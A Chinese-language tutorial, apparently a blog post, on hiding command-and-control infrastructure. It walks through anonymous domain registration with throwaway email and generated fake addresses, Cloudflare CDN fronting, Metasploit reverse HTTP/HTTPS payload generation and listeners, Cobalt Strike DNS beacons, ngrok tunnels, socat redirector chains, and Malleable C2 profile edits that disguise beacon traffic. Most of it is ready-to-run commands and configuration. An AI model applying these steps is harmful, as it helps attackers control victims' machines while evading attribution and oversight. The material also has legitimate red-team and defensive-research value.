渗透框架进阶之流量隐藏

域名上线隐藏IP

为什么要隐藏IP

在使用MSF或者CS获得目标机Sessions或者Beacon时,如果直接使用自己的VPS作为MSF或CS的服务器时,容易被溯源到攻击者所在VPS主机IP。

域名上线原理

当我们访问域名时会经过域名解析,域名解析就是将域名转换到IP地址的过程,我们通过域名访问服务器,实际上是访问的目标服务器IP地址

  • A记录: 将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录
  • CNAME记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名
  • MX记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录
  • NS记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录TXT记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录
  • AAAA记录: 将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录

思考?

假设现在有一个域名 www.aaa.com 配置了A记录,那么我想让我的 MSF 上线能达到隐藏真实IP的效果吗

CDN简介

CDN 的全称是 Content Delivery Network ,即内容分发网络。其目的是通过在现有的 Internet 中增加一层新的 CACHE (缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度

使用CDN内容分发网络的多节点分布式技术,通过 “加速、代理、缓存” 隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!

假设业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程, CDN 最后会将流量转发到真实 IP 上,那么我们便能通过 CDN 达到隐藏自身的效果

域名+CDN配置

  • 关于备案

无需备案:

  1. 注册国外域名,但是暂时不打算启用建站,那么无需备案;
  2. 注册国外域名,域名指向到国外网站空间或者是放置在特别行政区,如香港,也无需备案。

需要备案:

  1. 注册国内域名,要备案后才能使用。
  2. 注册国外域名,但是绑定国内的服务器空间,也需要备案才能使用

匿名注册域名

国外域名注册商 NameSilo

https://www.namesilo.com/

注册账号: https://www.namesilo.com/login

可以使用临时邮箱注册登录。

美国地址生成器: https://www.meiguodizhi.com/

  • 搜索域名

网站首页,输入查询的域名

image-20230808005128639

便宜域名后缀: .info、.top、.xyz、.fun 等等

  • 购买域名

网上找的优惠码:

https://www.uphezi.com/namesilo-coupon/?wpcd_coupon=2828

image-20230808005604461

购买成功进入域名管理页面:

https://www.namesilo.com/account_domains.php

注册免费CDN服务

  • 登录注册账号

https://www.cloudflare.com/zh-cn/

  • 配置域名使用CDN添加站点

主页,添加站点,输入前面购买的域名。

  • 选择免费计划

image-20230808101358786

  • 概述

image-20230808101947131

完成名称服务器设置

  • 配置域名的 NameServer 域名解析服务

进入我的域名:https://www.namesilo.com/account_domains.php

选择 Change Nameservers:

image-20230808101630060

修改为 Cloudflare 上得到的 nameserver

image-20230808101836303

  • 返回 Cloudflare 检查名称服务器

大概需要等待 10-20 分钟左右的时间,设置成功后, Cloudflare 会发送邮件。

配置 NameServer 更换解析服务器的原因就是,将 xxx 域名的所有解析功能都托管在Cloudflare ,这样 Cloudflare 就可以提供 CDN 的解析功能!

配置CDN域名解析

  • DNS配置

直接配置使用CDN代理模式进行域名解析提供服务

  • 自动配置全部选择关闭

概述 -> 快速入门指南

  • 配置 SSL/TLS 加密方式

SSL/TLS ->关闭(不安全)

image-20240317205454517

注意:

Cloudflare 的 CDN , http、https 代理模式有个特点,如果用其他端口的话,是监听不到的!

Cloudflare 支持的HTTP端口是:

1
80,8080,8880,2052,2082,2086,2095

Cloudflare 支持的HTTPS端口是:

1
443,2053,2083,2087,2096,8443

到此域名+CDN全部搞定!开始测试!

Metasploit

  • 云服务器安装metasploit
1
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

HTTP

MSF生成木马

1
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=ali.hihopkc.sbs LPORT=2095 -f exe -o 2095.exe

MSF开启监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost ali.hihopkc.sbs
set reverselistenerbindaddress 192.168.0.141
set lport 2095
run

在 windows 主机上执行 2095.exe 程序

image-20240317211509596

流量分析

image-20230808231259726

Wireshark

image-20230808231931403

HTTPS

生成HTTPS证书

去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key

image-20240317211805439

点击创建,生成源证书和私钥证书

保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key ,将创建的 pem 和 key 文件上传至云服务器。

创建一个包含源证书内容和私钥内容的统一证书文件;使用 cat 命令:

1
cat cloudflare.key cloudflare.pem >> cloudflare-key.pem

设置监听器

设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证,同时设置 EnableStageEncoding 来对第二阶段的有效载荷进行编码(分阶段Payload)。

始终使用 HTTPS -> 打开选项

设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1

image-20240317212146785

1
2
3
4
5
6
7
8
9
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_https
set LHOST ali.hihopkc.sbs
set LPORT 443
set HandlerSSLCert /root/sshkey/cloudflare-key.pem
set StagerVerifySSLCert true
set EnableStageEncoding true
set SSLVersion TLS1
run

浏览器访问 https://ali.hihopkc.sbs:443 ,看到 https 锁和 It works ,表示证书配置成功

生成Payload

创建有效载荷,使用你的域名作为 LHOST

1
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=ali.hihopkc.sbs LPORT=443 -f exe -o r443.exe

上线会话

在目标机执行生成的 Payload ,成功收到返回的会话

Cobaltstrike

Beacon HTTP

配置Listener

HTTP Host Header ,必须填写你的域名!这是CDN技术的原理要求;

1
2
3
4
5
6
7
Payload: Beacon HTTP
HTTP Hosts: ali.hihopkc.sbs
HTTP Hosts (Stager): ali.hihopkc.sbs
Profile: Default
HTTP Port (C2):2095
HTTP Port (Bind): 2095
HTTP Host Header: ali.hihopkc.sbs

image-20240317214518273

查看受控主机本地回连 C2 服务器的IP地址为 104.21.52.109:2095 (CDN节点IP),而不是我们自己服务器的真实IP

生成Payload

使用上一步配置的监听器,创建windows可执行 Payload ,目标主机运行 payload ,主机可以成功上线

流量分析

优点:利用CDN分布式技术,不同区域的主机就近连接到CDN服务,优化了访问质量,隐藏了真实服务器的ip;且CDN分布式技术可以在一定程度抵抗DDOS大流量攻击;使用国内CDN适合用于做红蓝对抗技术比拼等合法目的;

缺点:受控主机还是通过我们自己的域名进行回连,对外还是能看到连接域名;且如果使用国内CDN的服务(增加了风险),域名就必须完成ICP备案(增加了风险)

Beacon DNS

Cloudflare添加域名

  1. https://dash.cloudflare.com/ 注册并登录
  2. 添加站点,选择域名添加:xxx.com
  3. 添加A记录,设置为VPS的IP地址
1
A ds 47.236.16.67
  1. 添加NS记录,设置为A记录对应的域名
1
2
NS ns1 ds.hihopkc.sbs
NS ns2 ds.hihopkc.sbs

image-20240317215241094

创建DNS监听器

1
2
3
4
5
6
Name: dns
Payload: Beacon DNS
DNS Hosts:
ns1.hihopkc.sbs
ns2.hihopkc.sbs
DNS Host(Stager): ns1.hihopkc.sbs

CS生成Payload

生成 Payload 执行上线, Beacon 上线后没有信息显示,右键进入 Beacon 通过执行 chekin 命令让 DNS Beacon 强制回连 Teamserver

可以使用 mode 命令更改设置Beacon的数据交换模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Use: mode [dns|dns6|dns-txt]

设置Beacon的数据交换模式,仅对DNS Beacon有用

dns模式
--------
使用DNS A记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该模式将数据编码在DNS请求的hostname中进行传输

dns6模式
---------
使用DNS AAAA记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该模式将数据编码在DNS请求的hostname中进行传输

dns-txt模式
------------
使用DNS TXT记录请求获取任务。该通道每个请求携带189个字节,而DNS A记录请求仅为4个字节,使用与其他DNS模式相同的技术发送数据

隧道转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实IP

注册ngrok账号

https://ngrok.com/

下载相应版本客户端

image-20230808232716158

配置通道

image-20230809105502281

image-20230809105536789

转发端口

1
./ngrok tcp 10888

CS配置Listener

注意其中信息要和上面转发端口保持一致

生成payload运行上线

流量走向

查看本地回接 C2 服务器的 IP 地址为 ngrok 服务的IP地址;而不是我们自己服务器的真实IP

优点:免费使用他人提供的隧道服务,可以快速的用来测试,0成本

缺点:使用了他人提供的隧道服务(增加了风险)

转发重定向

工作原理

受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到C2控制端主机具体实现:一台VPS作为转发机器,一台VPS作为 Teamserver

1
2
转发机器:110.41.130.64
Teamserver:47.236.16.67

Socat转发

1
socat TCP4-LISTEN:80,fork TCP4:C2ip:80

常用选项

1
2
3
4
5
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用4次;建议使用2次)
-lf <logfile> 记录到文件
1
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:47.236.16.67:19999

将此机器 801 端口接受到的流量转发给 47.236.16.67:19999

创建监听器

image-20240318105005040

通过此监听生成木马上线

多层转发

1
2
3
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801

socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:124.71.45.28:7788

CS流量隐藏

CS配置文件Profile

下载地址

https://github.com/threatexpress/malleable-c2

https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip

keystore 的生成方法:

去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key 。

点击创建,生成源证书和私钥证书

保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key

将创建的 pem 和 key 文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)

1
2
3
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com

例子:

1
2
3
openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out www.mingy.xyz.p12 -name www.mingy.xyz -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.mingy.xyz.store -srckeystore www.mingy.xyz.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.mingy.xyz

将生成的 keystore 文件放在云服务器CS的根目录下。

然后对 4.4 版本 Profile 进行修改。将 keystore 文件名称和密码填入 profile 文件中。

需要修改的内容主要有4处:

  1. https-certificate

修改模块中的 keystore 和 password ,并去掉 # 注释

1
2
set keystore "shop.baidus.top.store"
set password "123456";
  1. http-stager

把 Server 配置如下内容:

1
header "Content-Type" "application/javascript; charset=utf-8";

修改为:

1
header "Content-Type" "application/*; charset=utf-8";

修改 Client 配置中的 Host 和 Referer :

1
2
3
4
5
6
7
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
}
  1. http-get

修改 Client 配置中的 Host 和 Referer:

1
2
3
4
5
6
7
8
9
10
11
12
13
client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";

metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}

修改 Server 配置如下内容:

1
header "Content-Type" "application/javascript; charset=utf-8";

修改为:

1
header "Content-Type" "application/*; charset=utf-8";

在修改完成后,使用 CS 自带的 c2lint 对 profile 语法进行检查,没有报错的话说明配置是对的。

1
c2lint c2.4.7.profile

修改CDN配置

在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。

启用开发模式并清除缓存。

规则,添加页面规则,创建页面规则

选取设置:缓存级别,绕过

测试上线

使用修改好的profile启动CS

1
./teamserver 124.71.45.28 cs44 jquery-c2.4.4.profile

对CS的 listener 进行配置

验证数据包

上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。